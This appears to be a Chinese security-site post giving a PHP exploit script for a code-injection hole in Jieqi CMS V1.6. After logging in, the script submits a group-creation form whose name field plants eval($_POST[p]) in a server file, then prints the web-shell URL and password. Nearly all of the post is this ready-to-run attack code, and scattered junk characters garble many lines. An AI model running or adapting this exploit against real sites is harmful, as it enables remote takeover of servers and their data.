Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


. @& S0 c% U5 n; H! Z该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
  A: h! {+ T) q1 o1 [( d8 ~ 需要有一个能创建圈子的用户。
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<?php
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print_r('
- S* c5 g3 e$ @8 V+---------------------------------------------------------------------------+
; a% L9 t5 o. k! v6 ^* o  ]Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
8 V" l% R8 U" A5 g; L$ kteam: http://www.wolvez.org
3 `4 E9 W! ^3 J, S! X+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
) B' s  p5 B0 p% H+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
+ [' [  [8 n, t1 M0 L# ^* whost:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
: {5 C6 k$ B" xExample:
6 G! }# f, {  b- Pphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
7 k1 j/ {/ S) S+---------------------------------------------------------------------------+
2 q* h5 y7 H3 u5 P, B! k' T'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
9 s, X# L2 M" B( G; L" b" u- ?Content-Disposition: form-data; name="gname"

+ v4 F8 \* `; n8 z0 P" W' T'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

2 n3 K' Z( O6 X6 R1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

+ V( N9 j2 R5 x8 N6 Y) b: ^1 x1
/ i  M. `$ Y# ~4 Z) L; u4 Q3 {7 W-----------------------------23281168279961--
9 y+ f6 T- T( o1 h1 I9 J# G'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;